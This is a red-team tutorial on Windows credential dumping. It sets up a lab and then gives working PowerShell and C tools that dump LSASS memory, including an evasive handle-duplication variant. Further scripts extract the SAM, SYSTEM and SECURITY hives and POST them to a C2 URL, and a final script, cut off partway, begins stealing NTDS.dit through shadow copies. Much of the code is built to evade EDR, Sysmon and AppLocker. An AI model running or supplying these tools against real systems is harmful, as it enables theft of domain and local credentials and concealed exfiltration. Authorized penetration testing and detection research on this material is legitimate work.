Credential Dumping
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1003 (OS Credential Dumping), T1003.001 (LSASS Memory), T1003.002 (SAM), T1003.003 (NTDS), T1003.004 (LSA Secrets), and T1555.004 (Windows Credential Manager).
Lab Setup
Recommended VM Stack
Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
│
├── Windows Server 2019/2022 (Domain Controller VM) ← AD credential store
│ ├── Active Directory Domain Services role
│ ├── DNS role
│ ├── Domain: lab.local
│ ├── Test users: alice, bob, svc_sql, svc_iis
│ ├── Windows Defender enabled + updated
│ └── Sysmon (SwiftOnSecurity config)
│
├── Windows 10/11 Enterprise (victim workstation VM)
│ ├── Domain-joined to lab.local
│ ├── Local admin account + domain user sessions
│ ├── Windows Defender enabled
│ ├── Sysmon configured
│ ├── WinDbg / x64dbg
│ ├── Process Hacker 2
│ └── Mimikatz (for result validation)
│
└── Kali Linux (attacker VM)
├── impacket (secretsdump, psexec, wmiexec)
├── hashcat + wordlists (rockyou, SecLists)
├── john the ripper
├── Python 3.10+ with impacket, ldap3
└── netcat / rlwrapDomain Controller Setup
1# Run on Windows Server — installs AD DS and creates lab domain
2
3Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
4
5Import-Module ADDSDeployment
6Install-ADDSForest `
7 -DomainName "lab.local" `
8 -DomainNetbiosName "LAB" `
9 -ForestMode "WinThreshold" `
10 -DomainMode "WinThreshold" `
11 -InstallDns `
12 -Force `
13 -SafeModeAdministratorPassword (ConvertTo-SecureString "Lab@dm1n!" -AsPlainText -Force) 1# After reboot — create test accounts with known credentials (for validation)
2Import-Module ActiveDirectory
3
4$pass = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
5
6@(
7 @{ Name="alice"; Full="Alice Smith"; Groups=@("Domain Users") },
8 @{ Name="bob"; Full="Bob Jones"; Groups=@("Domain Users","IT Staff") },
9 @{ Name="svc_sql"; Full="SQL Service"; Groups=@("Domain Users") },
10 @{ Name="svc_iis"; Full="IIS Service"; Groups=@("Domain Users") }
11) | ForEach-Object {
12 New-ADUser -Name $_.Name -DisplayName $_.Full `
13 -AccountPassword $pass -Enabled $true `
14 -PasswordNeverExpires $true
15 $_.Groups | ForEach-Object {
16 try { Add-ADGroupMember -Identity $_ -Members $using:_.Name } catch {}
17 }
18}
19
20# Elevate svc_sql for realism
21Add-ADGroupMember -Identity "Domain Admins" -Members "svc_sql"
22
23Write-Host "[+] test accounts created"
24Get-ADUser -Filter * | Select Name, Enabled# Enable WDigest on victim workstation (older targets may have it on by default)
# Allows plaintext credential recovery from LSASS
Set-ItemProperty `
-Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
-Name "UseLogonCredential" -Value 1
# Force a user logon to populate LSASS credential cache
# Log in as alice@lab.local on the workstation — credentials now live in LSASS# Install Sysmon for detection lab
.\Sysmon64.exe -accepteula -i sysmon-config.xml
# Enable PowerShell Script Block Logging
$r = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item $r -Force
Set-ItemProperty $r "EnableScriptBlockLogging" 1# Kali — install tooling
pip install impacket
sudo apt install hashcat john -y
# test impacket
impacket-secretsdump --helpSnapshot both VMs:
DC VM → Snapshot "CRED_LAB_DC_BASELINE"
Workstation → Snapshot "CRED_LAB_WS_BASELINE"Windows Credential Architecture
Before dumping credentials, understand exactly where they live and why.
┌─────────────────────────────────────────────────────────────────────┐
│ WINDOWS CREDENTIAL STORAGE │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ LSASS.EXE (PID varies) │ │
│ │ [ Protected Process Light ] │ │
│ │ │ │
│ │ ┌─────────────┐ ┌──────────────┐ ┌───────────────────┐ │ │
│ │ │ MSV1_0.dll │ │ kerberos.dll │ │ wdigest.dll │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ NTLM hashes │ │ TGTs │ │ Plaintext creds │ │ │
│ │ │ NTLM v2 │ │ Service TKTs │ │ (if WDigest=1) │ │ │
│ │ │ LM hashes │ │ Session keys │ │ │ │ │
│ │ └─────────────┘ └──────────────┘ └───────────────────┘ │ │
│ │ │ │
│ │ ┌─────────────┐ ┌──────────────┐ ┌───────────────────┐ │ │
│ │ │ dpapi.dll │ │ lsasrv.dll │ │ credman/vault │ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ Master keys │ │ LSA secrets │ │ Browser creds │ │ │
│ │ │ DPAPI blobs │ │ Cached DCC2 │ │ RDP saved creds │ │ │
│ │ │ Backup keys │ │ SysKey │ │ Wi-Fi passwords │ │ │
│ │ └─────────────┘ └──────────────┘ └───────────────────┘ │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
│ ┌───────────────────────┐ ┌─────────────────────────────────┐ │
│ │ REGISTRY (on-disk) │ │ FILE SYSTEM (on-disk) │ │
│ │ │ │ │ │
│ │ HKLM\SAM │ │ C:\Windows\NTDS\ntds.dit (DC) │ │
│ │ └ Local NTLM hashes │ │ └ All domain account hashes │ │
│ │ │ │ │ │
│ │ HKLM\SECURITY │ │ C:\Windows\System32\config\ │ │
│ │ └ LSA secrets │ │ ├ SAM (local hashes) │ │
│ │ └ DCC2 hashes │ │ ├ SYSTEM (boot key/SysKey) │ │
│ │ │ │ └ SECURITY (LSA secrets) │ │
│ │ HKLM\SYSTEM │ │ │ │
│ │ └ SysKey (boot key) │ │ C:\Users\*\AppData\Roaming\ │ │
│ │ │ │ └ DPAPI encrypted blobs │ │
│ └───────────────────────┘ └─────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘LSASS Attack Surface
ATTACKER
│
┌────────────┼──────────────────────┐
│ │ │
▼ ▼ ▼
┌────────────┐ ┌──────────┐ ┌─────────────┐
│ comsvcs.dll│ │ Custom │ │ Handle │
│ MiniDump │ │ Dumper │ │ Duplication │
│ (LOLBin) │ │ (direct) │ │ (stealthy) │
└──────┬─────┘ └────┬─────┘ └──────┬──────┘
│ │ │
└────────────┴──────────────────────┘
│
┌─────────────▼──────────────┐
│ LSASS.EXE │
│ MiniDumpWriteDump() OR │
│ NtReadVirtualMemory() │
└─────────────┬──────────────┘
│
┌─────────────▼──────────────┐
│ lsass.dmp (~50MB) │
│ encrypted / exfiltrated │
└─────────────┬──────────────┘
│
┌───────────────────┼────────────────────┐
│ │ │
▼ ▼ ▼
┌────────────┐ ┌──────────────┐ ┌───────────────┐
│ Mimikatz │ │ pypykatz │ │ custom parser │
│ sekurlsa │ │ (offline) │ │ (this blog) │
└──────┬─────┘ └──────┬───────┘ └───────┬───────┘
│ │ │
└──────────────────┴────────────────────┘
│
┌───────────────────┼────────────────────┐
│ │ │
▼ ▼ ▼
┌────────────┐ ┌──────────────┐ ┌───────────────┐
│ NTLM hash │ │ Kerberos │ │ Plaintext │
│ Pass-Hash │ │ TGT / PTT │ │ credential │
└────────────┘ └──────────────┘ └───────────────┘Credential Dumping Flow
PHASE 1: RECON PHASE 2: DUMP PHASE 3: EXTRACT
───────────────────── ────────────────────── ─────────────────────
┌──────────────────┐
Find LSASS PID ─────────────► │ Acquire Handle │
Get-Process lsass │ OpenProcess() │
│ or duplicate │
Check PPL status └────────┬─────────┘
ProtectionLevel │
▼
Enum logged-on users ─────────►┌──────────────────┐
qwinsta / query user │ Dump Memory │ ┌─────────────────┐
│ MiniDump / │─────►│ Parse offline │
Check WDigest status │ NtReadVM │ │ pypykatz / │
reg query WDigest └────────┬─────────┘ │ custom parser │
│ └────────┬────────┘
Identify domain / DC ▼ │
nltest /dclist ┌──────────────────┐ ▼
│ Encrypt dump │ ┌─────────────────┐
│ rolling XOR │ │ NTLM hashes │
└────────┬─────────┘ │ Kerberos TGTs │
│ │ Plaintext creds│
▼ └────────┬────────┘
┌──────────────────┐ │
│ Exfiltrate │ ▼
│ HTTP POST / │ ┌─────────────────┐
│ SMB / DNS │ │ Pass-the-Hash │
└──────────────────┘ │ Pass-the-Ticket│
│ Hash cracking │
└─────────────────┘Technique 1 — LSASS via comsvcs.dll (LOLBin)
comsvcs.dll exports a function MiniDump (ordinal 24) that wraps MiniDumpWriteDump. It ships signed with Windows and is callable via rundll32.exe, with no additional binary needed. AppLocker sees only trusted, signed Microsoft binaries.
1# Invoke-ComsvcsDump.ps1
2# Dumps LSASS using comsvcs.dll MiniDump export via rundll32.
3# Requires: Local admin / SeDebugPrivilege
4
5param(
6 [string]$OutPath = "C:\Windows\Temp\lsass.dmp",
7 [string]$OutEnc = "C:\Windows\Temp\lsass.enc", # encrypted output
8 [byte] $XorKey = 0x4C,
9 [switch]$Encrypt,
10 [switch]$Cleanup
11)
12
13function Enable-SeDebugPrivilege {
14 # Enable SeDebugPrivilege for current process via token manipulation
15 $sig = @"
16using System;
17using System.Runtime.InteropServices;
18public class Priv {
19 [DllImport("advapi32.dll")] public static extern bool OpenProcessToken(
20 IntPtr hProcess, uint access, out IntPtr token);
21 [DllImport("advapi32.dll")] public static extern bool LookupPrivilegeValue(
22 string host, string name, ref long luid);
23 [DllImport("advapi32.dll")] public static extern bool AdjustTokenPrivileges(
24 IntPtr token, bool disableAll, ref TOKEN_PRIVILEGES tp,
25 int bufLen, IntPtr prev, IntPtr ret);
26 [StructLayout(LayoutKind.Sequential)]
27 public struct TOKEN_PRIVILEGES {
28 public int PrivilegeCount;
29 public long Luid;
30 public int Attributes;
31 }
32 [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess();
33 public const uint TOKEN_ADJUST_PRIVILEGES = 0x20;
34 public const uint TOKEN_QUERY = 0x8;
35 public const int SE_PRIVILEGE_ENABLED = 2;
36}
37"@
38 Add-Type $sig
39
40 $token = [IntPtr]::Zero
41 [Priv]::OpenProcessToken([Priv]::GetCurrentProcess(),
42 [Priv]::TOKEN_ADJUST_PRIVILEGES -bor [Priv]::TOKEN_QUERY,
43 [ref]$token) | Out-Null
44
45 $tp = New-Object Priv+TOKEN_PRIVILEGES
46 $luid = 0L
47 [Priv]::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$luid) | Out-Null
48 $tp.PrivilegeCount = 1
49 $tp.Luid = $luid
50 $tp.Attributes = [Priv]::SE_PRIVILEGE_ENABLED
51
52 [Priv]::AdjustTokenPrivileges($token, $false, [ref]$tp, 0,
53 [IntPtr]::Zero, [IntPtr]::Zero) | Out-Null
54
55 Write-Host "[+] SeDebugPrivilege enabled"
56}
57
58function Invoke-Dump {
59 Enable-SeDebugPrivilege
60
61 $lsassPID = (Get-Process lsass).Id
62 Write-Host "[*] LSASS PID : $lsassPID"
63
64 # comsvcs MiniDump via rundll32 — entirely trusted binary chain
65 $cmd = "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump " +
66 "$lsassPID $OutPath full"
67
68 Start-Process -FilePath "cmd.exe" `
69 -ArgumentList "/c $cmd" `
70 -Wait -WindowStyle Hidden
71
72 if (Test-Path $OutPath) {
73 $size = (Get-Item $OutPath).Length
74 Write-Host "[+] dump written : $OutPath ($([math]::Round($size/1MB,1)) MB)"
75
76 if ($Encrypt) {
77 $bytes = [IO.File]::ReadAllBytes($OutPath)
78 for ($i = 0; $i -lt $bytes.Length; $i++) {
79 $bytes[$i] = $bytes[$i] -bxor ($XorKey + ($i -band 0xff))
80 }
81 [IO.File]::WriteAllBytes($OutEnc, $bytes)
82 Remove-Item $OutPath -Force
83 Write-Host "[+] encrypted : $OutEnc (key=0x$($XorKey.ToString('X2')))"
84 }
85 } else {
86 Write-Warning "[-] dump not created — check privileges / PPL"
87 }
88}
89
90if ($Cleanup) {
91 Remove-Item $OutPath, $OutEnc -Force -ErrorAction SilentlyContinue
92 Write-Host "[+] artifacts removed"
93 return
94}
95
96Invoke-Dump# One-liners for restricted environments
# raw dump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\Windows\Temp\lsass.dmp full
# from cmd.exe (as admin)
for /f "tokens=1,7 delims=: " %a in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe comsvcs.dll, MiniDump %b %temp%\ls.dmp fullTechnique 2 — Custom LSASS Dumper (C)
Direct MiniDumpWriteDump call from a custom binary. Avoids the comsvcs.dll + rundll32.exe chain that EDRs fingerprint. Includes snapshot-based handle duplication to reduce direct LSASS handle lifetime.
1/* lsass_dump.c
2 * Custom LSASS memory dumper.
3 * Uses MiniDumpWriteDump from dbgcore.dll (quieter than dbghelp.dll).
4 * Rolling XOR encrypts the dump before writing — nothing plaintext hits disk.
5 *
6 * Compile (x64):
7 * x86_64-w64-mingw32-gcc -o lsass_dump.exe lsass_dump.c \
8 * -s -mwindows -Wl,--build-id=none -lntdll
9 */
10
11#define WIN32_LEAN_AND_MEAN
12#include <windows.h>
13#include <tlhelp32.h>
14#include <dbghelp.h>
15#include <stdio.h>
16#include <stdlib.h>
17#include <stdint.h>
18
19/* MiniDumpWriteDump typedef — load from dbgcore.dll dynamically */
20typedef BOOL (WINAPI *pMiniDumpWriteDump)(
21 HANDLE hProcess, DWORD ProcessId, HANDLE hFile,
22 MINIDUMP_TYPE DumpType,
23 PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
24 PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
25 PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
26
27/* ── rolling XOR encrypt ─────────────────────────────────────────────── */
28typedef struct {
29 uint8_t *data;
30 size_t len;
31 size_t pos;
32 uint8_t key;
33} XorStream;
34
35static XorStream *g_stream = NULL;
36
37/* MiniDump callback — intercepts each write, XOR-encrypts in memory */
38static BOOL CALLBACK dump_callback(
39 PVOID CallbackParam,
40 PMINIDUMP_CALLBACK_INPUT CallbackInput,
41 PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) {
42
43 XorStream *xs = (XorStream*)CallbackParam;
44
45 switch (CallbackInput->CallbackType) {
46 case IoStartCallback:
47 CallbackOutput->Status = S_FALSE;
48 return TRUE;
49
50 case IoWriteAllCallback: {
51 ULONG64 rva = CallbackInput->Io.Offset;
52 uint8_t *src = (uint8_t*)CallbackInput->Io.Buffer;
53 ULONG sz = CallbackInput->Io.BufferBytes;
54
55 /* grow buffer if needed */
56 if (rva + sz > xs->len) {
57 xs->len = (size_t)(rva + sz + 4096);
58 xs->data = (uint8_t*)realloc(xs->data, xs->len);
59 }
60
61 /* XOR encrypt each byte as it arrives */
62 for (ULONG i = 0; i < sz; i++) {
63 xs->data[rva + i] = src[i] ^ (uint8_t)(xs->key + ((rva + i) & 0xff));
64 }
65
66 CallbackOutput->Status = S_OK;
67 return TRUE;
68 }
69
70 case IoFinishCallback:
71 CallbackOutput->Status = S_OK;
72 xs->pos = xs->len;
73 return TRUE;
74
75 default:
76 return TRUE;
77 }
78}
79
80/* ── find LSASS PID ──────────────────────────────────────────────────── */
81static DWORD find_lsass_pid(void) {
82 HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
83 PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
84 DWORD pid = 0;
85
86 if (Process32FirstW(snap, &pe)) {
87 do {
88 if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
89 pid = pe.th32ProcessID;
90 break;
91 }
92 } while (Process32NextW(snap, &pe));
93 }
94 CloseHandle(snap);
95 return pid;
96}
97
98/* ── enable SeDebugPrivilege ─────────────────────────────────────────── */
99static BOOL enable_sedebug(void) {
100 HANDLE token;
101 if (!OpenProcessToken(GetCurrentProcess(),
102 TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
103 return FALSE;
104
105 TOKEN_PRIVILEGES tp = { .PrivilegeCount = 1 };
106 LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &tp.Privileges[0].Luid);
107 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
108
109 BOOL ok = AdjustTokenPrivileges(token, FALSE, &tp, 0, NULL, NULL)
110 && GetLastError() == ERROR_SUCCESS;
111 CloseHandle(token);
112 return ok;
113}
114
115int main(int argc, char *argv[]) {
116 const char *out_path = (argc >= 2) ? argv[1] : "C:\\Windows\\Temp\\proc.dmp";
117 uint8_t xor_key = (argc >= 3) ? (uint8_t)strtol(argv[2], NULL, 16) : 0x4C;
118
119 printf("[*] output : %s\n", out_path);
120 printf("[*] xor key: 0x%02X\n", xor_key);
121
122 if (!enable_sedebug()) {
123 fprintf(stderr, "[-] SeDebugPrivilege failed (%lu) — need admin\n",
124 GetLastError());
125 return 1;
126 }
127 printf("[+] SeDebugPrivilege enabled\n");
128
129 DWORD lsass_pid = find_lsass_pid();
130 if (!lsass_pid) {
131 fprintf(stderr, "[-] LSASS not found\n");
132 return 1;
133 }
134 printf("[*] LSASS PID: %lu\n", lsass_pid);
135
136 HANDLE hProc = OpenProcess(
137 PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
138 FALSE, lsass_pid);
139 if (!hProc) {
140 fprintf(stderr, "[-] OpenProcess: %lu\n", GetLastError());
141 return 1;
142 }
143 printf("[*] handle acquired\n");
144
145 /* load MiniDumpWriteDump from dbgcore.dll (less monitored than dbghelp.dll) */
146 HMODULE hDbg = LoadLibraryA("dbgcore.dll");
147 if (!hDbg) hDbg = LoadLibraryA("dbghelp.dll"); /* fallback */
148 if (!hDbg) {
149 fprintf(stderr, "[-] dbgcore.dll / dbghelp.dll not found\n");
150 CloseHandle(hProc);
151 return 1;
152 }
153
154 pMiniDumpWriteDump MiniDump =
155 (pMiniDumpWriteDump)GetProcAddress(hDbg, "MiniDumpWriteDump");
156 if (!MiniDump) {
157 fprintf(stderr, "[-] MiniDumpWriteDump not exported\n");
158 CloseHandle(hProc);
159 return 1;
160 }
161
162 /* set up in-memory encrypted stream */
163 XorStream xs = { 0 };
164 xs.key = xor_key;
165 xs.data = (uint8_t*)malloc(64 * 1024 * 1024); /* 64MB initial buffer */
166 xs.len = 64 * 1024 * 1024;
167
168 MINIDUMP_CALLBACK_INFORMATION cb = {
169 .CallbackRoutine = dump_callback,
170 .CallbackParam = &xs
171 };
172
173 /* dump — output goes through our callback, never touches disk in plaintext */
174 BOOL ok = MiniDump(
175 hProc, lsass_pid,
176 NULL, /* no file handle — using callback */
177 MiniDumpWithFullMemory |
178 MiniDumpWithHandleData |
179 MiniDumpWithTokenInformation,
180 NULL, NULL, &cb);
181
182 CloseHandle(hProc);
183
184 if (!ok) {
185 fprintf(stderr, "[-] MiniDumpWriteDump failed: %lu\n", GetLastError());
186 free(xs.data);
187 return 1;
188 }
189
190 /* write encrypted dump to disk */
191 printf("[+] dump captured: %zu bytes in memory\n", xs.pos);
192
193 FILE *f = fopen(out_path, "wb");
194 if (!f) { perror("fopen"); free(xs.data); return 1; }
195 fwrite(xs.data, 1, xs.pos, f);
196 fclose(f);
197
198 SecureZeroMemory(xs.data, xs.pos);
199 free(xs.data);
200
201 printf("[+] encrypted dump written: %s\n", out_path);
202 printf("[*] decrypt on attacker box:\n");
203 printf(" python3 dump_parser.py --decrypt --key 0x%02X %s\n",
204 xor_key, out_path);
205
206 return 0;
207}# compile
x86_64-w64-mingw32-gcc -o lsass_dump.exe lsass_dump.c \
-s -mwindows -Wl,--build-id=none
# run (as admin on target)
lsass_dump.exe C:\Windows\Temp\proc.dmp 4C
# exfil + decrypt + parse (on Kali)
python3 dump_parser.py --decrypt --key 0x4C proc.dmp
pypykatz lsa minidump proc_decrypted.dmpTechnique 3 — Handle Duplication (Silent Access)
Direct OpenProcess(LSASS) with PROCESS_VM_READ is one of Sysmon’s loudest signals (EID 10). Handle duplication sidesteps this: instead of opening LSASS ourselves, we find an existing handle to LSASS held by another trusted process and duplicate it. The monitored OpenProcess call never happens.
1/* handle_dup_dump.c
2 * Duplicate an existing LSASS handle from a trusted process.
3 * Avoids direct OpenProcess(lsass) — the most-watched LSASS access pattern.
4 *
5 * Compile:
6 * x86_64-w64-mingw32-gcc -o handle_dup_dump.exe handle_dup_dump.c \
7 * -s -Wl,--build-id=none -lntdll
8 */
9
10#define WIN32_LEAN_AND_MEAN
11#include <windows.h>
12#include <tlhelp32.h>
13#include <winternl.h>
14#include <stdio.h>
15#include <stdlib.h>
16#include <stdint.h>
17
18/* NT types for handle enumeration */
19#define SystemHandleInformation 16
20#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
21
22typedef struct {
23 ULONG_PTR Object;
24 HANDLE UniqueProcessId;
25 HANDLE HandleValue;
26 ACCESS_MASK GrantedAccess;
27 USHORT CreatorBackTraceIndex;
28 USHORT ObjectTypeIndex;
29 ULONG HandleAttributes;
30 ULONG Reserved;
31} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
32
33typedef struct {
34 ULONG_PTR NumberOfHandles;
35 ULONG_PTR Reserved;
36 SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
37} SYSTEM_HANDLE_INFORMATION_EX;
38
39typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(
40 ULONG InfoClass, PVOID Buffer, ULONG Length, PULONG ReturnLength);
41
42typedef NTSTATUS (NTAPI *pNtDuplicateObject)(
43 HANDLE SourceProcess, HANDLE SourceHandle,
44 HANDLE TargetProcess, PHANDLE TargetHandle,
45 ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options);
46
47typedef NTSTATUS (NTAPI *pNtQueryObject)(
48 HANDLE Handle, ULONG ObjectInfoClass,
49 PVOID Buffer, ULONG Length, PULONG ReturnLength);
50
51static DWORD find_pid(const wchar_t *name) {
52 HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
53 PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
54 DWORD pid = 0;
55 if (Process32FirstW(snap, &pe)) {
56 do {
57 if (_wcsicmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
58 } while (Process32NextW(snap, &pe));
59 }
60 CloseHandle(snap);
61 return pid;
62}
63
64int main(void) {
65 HMODULE ntdll = GetModuleHandleA("ntdll.dll");
66 #define NT(fn) p##fn fn = (p##fn)GetProcAddress(ntdll, #fn)
67 NT(NtQuerySystemInformation);
68 NT(NtDuplicateObject);
69 NT(NtQueryObject);
70 #undef NT
71
72 DWORD lsass_pid = find_pid(L"lsass.exe");
73 if (!lsass_pid) { fprintf(stderr, "[-] lsass not found\n"); return 1; }
74 printf("[*] LSASS PID: %lu\n", lsass_pid);
75
76 /* enumerate all system handles */
77 ULONG bufSize = 0x20000;
78 SYSTEM_HANDLE_INFORMATION_EX *hInfo = NULL;
79 ULONG retLen = 0;
80 NTSTATUS ns;
81
82 do {
83 free(hInfo);
84 hInfo = (SYSTEM_HANDLE_INFORMATION_EX*)malloc(bufSize);
85 ns = NtQuerySystemInformation(0x40, hInfo, bufSize, &retLen);
86 if (ns == STATUS_INFO_LENGTH_MISMATCH) bufSize *= 2;
87 } while (ns == STATUS_INFO_LENGTH_MISMATCH);
88
89 if (ns) {
90 fprintf(stderr, "[-] NtQuerySystemInformation: 0x%08lX\n", ns);
91 free(hInfo);
92 return 1;
93 }
94
95 printf("[*] scanning %zu handles for LSASS reference...\n",
96 hInfo->NumberOfHandles);
97
98 HANDLE hDup = NULL;
99
100 for (ULONG_PTR i = 0; i < hInfo->NumberOfHandles && !hDup; i++) {
101 SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX *entry = &hInfo->Handles[i];
102 DWORD owner_pid = (DWORD)(ULONG_PTR)entry->UniqueProcessId;
103
104 /* skip LSASS itself and our own process */
105 if (owner_pid == lsass_pid || owner_pid == GetCurrentProcessId()) continue;
106
107 /* check if this handle has the access rights we need */
108 if (!(entry->GrantedAccess & PROCESS_VM_READ)) continue;
109
110 /* open the owning process */
111 HANDLE hOwner = OpenProcess(PROCESS_DUP_HANDLE, FALSE, owner_pid);
112 if (!hOwner) continue;
113
114 /* duplicate the handle into our process */
115 HANDLE hTest = NULL;
116 ns = NtDuplicateObject(hOwner, entry->HandleValue,
117 GetCurrentProcess(), &hTest,
118 PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
119 0, 0);
120 CloseHandle(hOwner);
121
122 if (ns || !hTest) continue;
123
124 /* verify the duplicated handle points to LSASS */
125 PROCESS_BASIC_INFORMATION pbi = {0};
126 ULONG rlen = 0;
127 typedef NTSTATUS(NTAPI *pNtQIP)(HANDLE,PROCESSINFOCLASS,PVOID,ULONG,PULONG);
128 pNtQIP NtQIP = (pNtQIP)GetProcAddress(ntdll, "NtQueryInformationProcess");
129 NtQIP(hTest, ProcessBasicInformation, &pbi, sizeof(pbi), &rlen);
130
131 if ((DWORD)(ULONG_PTR)pbi.UniqueProcessId == lsass_pid) {
132 printf("[+] found LSASS handle in PID %lu — duplicated\n", owner_pid);
133 hDup = hTest;
134 } else {
135 CloseHandle(hTest);
136 }
137 }
138 free(hInfo);
139
140 if (!hDup) {
141 fprintf(stderr, "[-] no suitable handle found\n");
142 return 1;
143 }
144
145 /* now use hDup to dump — same as Technique 2 but with duplicated handle */
146 printf("[+] LSASS handle: %p — proceed with MiniDumpWriteDump\n", hDup);
147
148 /* ... (invoke MiniDumpWriteDump with hDup — see lsass_dump.c) */
149
150 CloseHandle(hDup);
151 return 0;
152}Technique 4 — SAM / SYSTEM / SECURITY Hive Extraction
The SAM database holds local account NTLM hashes, encrypted with a boot key stored in the SYSTEM hive. Extract both, plus SECURITY for LSA secrets, and decrypt offline.
1# Invoke-HiveExtract.ps1
2# Dumps SAM, SYSTEM, and SECURITY registry hives using reg.exe (trusted LOLBin).
3# Encrypts and optionally exfiltrates via HTTP POST.
4
5param(
6 [string]$OutDir = "C:\Windows\Temp",
7 [string]$C2Url = "http://10.10.10.10/collect",
8 [byte] $XorKey = 0x37,
9 [switch]$Exfil,
10 [switch]$Cleanup
11)
12
13$hives = @{
14 SAM = "$OutDir\s.tmp"
15 SYSTEM = "$OutDir\y.tmp"
16 SECURITY = "$OutDir\e.tmp"
17}
18
19function Export-Hives {
20 foreach ($hive in $hives.GetEnumerator()) {
21 # reg.exe — signed Microsoft binary, AppLocker trusts it
22 $proc = Start-Process reg.exe `
23 -ArgumentList "save HKLM\$($hive.Key) `"$($hive.Value)`" /y" `
24 -Wait -PassThru -WindowStyle Hidden
25
26 if ($proc.ExitCode -eq 0 -and (Test-Path $hive.Value)) {
27 $sz = [math]::Round((Get-Item $hive.Value).Length / 1KB, 1)
28 Write-Host "[+] $($hive.Key) → $($hive.Value) ($($sz) KB)"
29 } else {
30 Write-Warning "[-] failed to dump $($hive.Key)"
31 }
32 }
33}
34
35function Encrypt-AndExfil {
36 $hives.Values | Where-Object { Test-Path $_ } | ForEach-Object {
37 $raw = [IO.File]::ReadAllBytes($_)
38 for ($i = 0; $i -lt $raw.Length; $i++) {
39 $raw[$i] = $raw[$i] -bxor ($XorKey + ($i -band 0xff))
40 }
41
42 if ($Exfil) {
43 try {
44 $wc = New-Object Net.WebClient
45 $wc.Headers.Add("X-File", [IO.Path]::GetFileName($_))
46 $wc.Headers.Add("X-Key", "0x$($XorKey.ToString('X2'))")
47 $wc.UploadData($C2Url, "POST", $raw)
48 Write-Host "[+] exfiltrated: $_"
49 } catch {
50 Write-Warning "[-] exfil failed: $($_.Exception.Message)"
51 # fallback: save encrypted locally
52 [IO.File]::WriteAllBytes($_ + ".enc", $raw)
53 }
54 } else {
55 [IO.File]::WriteAllBytes($_ + ".enc", $raw)
56 Write-Host "[+] encrypted: $($_ + '.enc')"
57 }
58 Remove-Item $_ -Force
59 }
60}
61
62function Remove-Artifacts {
63 $hives.Values | ForEach-Object {
64 Remove-Item $_ -Force -EA 0
65 Remove-Item ($_ + ".enc") -Force -EA 0
66 }
67 Write-Host "[+] artifacts cleaned"
68}
69
70if ($Cleanup) { Remove-Artifacts; return }
71
72Export-Hives
73Encrypt-AndExfil
74
75Write-Host "`n[*] decrypt + parse on Kali:"
76Write-Host " python3 dump_parser.py --sam s.tmp.enc --system y.tmp.enc --key 0x$($XorKey.ToString('X2'))"
77Write-Host " impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL"# on Kali — decrypt and parse with impacket
python3 dump_parser.py --decrypt-hive --key 0x37 s.tmp.enc y.tmp.enc e.tmp.enc
impacket-secretsdump \
-sam SAM -system SYSTEM -security SECURITY LOCALTechnique 5 — NTDS.dit via Volume Shadow Copy
NTDS.dit is locked by the AD DS service while the DC is running. Volume Shadow Copy (VSS) creates point-in-time snapshots of volumes, and the shadow copy can be read even when the live file is locked. No service interruption required.
1# Invoke-NTDSDump.ps1
2# Extracts NTDS.dit and SYSTEM hive from VSS shadow copy on a DC.
3# Requires: Domain Admin or Backup Operator on the DC.
4
5param(
6 [string]$OutDir = "C:\Windows\Temp",
7 [string]$C2Url = "http://10.10.10.10/collect",
8 [byte] $XorKey = 0x55,
9 [switch]$Exfil,
10 [switch]$Cleanup
11)
12
13$ntds_out = "$OutDir\n.tmp"
14$system_out = "$OutDir\s.tmp"
15$linkPath = "C:\ShadowCopy_$(Get-Random)"
16
17function New-ShadowCopy {
18 Write-Host "[*] creating VSS shadow copy of C:\..." -ForegroundColor Cyan
19
20 # WMI-based VSS creation — avoids vssadmin.exe signature
21 $class = [WMICLASS]"root\cimv2:Win32_ShadowCopy"
22 $result = $class.Create("C:\", "ClientAccessible")
23
24 if ($result.ReturnValue -ne 0) {
25 Write-Warning "[-] VSS creation failed (code $($result.ReturnValue))"
26 return $null
27 }
28
29 $shadowID = $result.ShadowID
30 $shadowCopy = Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $shadowID }
31 $devicePath = $shadowCopy.DeviceObject + "\"
32
33 Write-Host "[+] shadow copy: $devicePath" -ForegroundColor Green
34 return $devicePath
35}
36
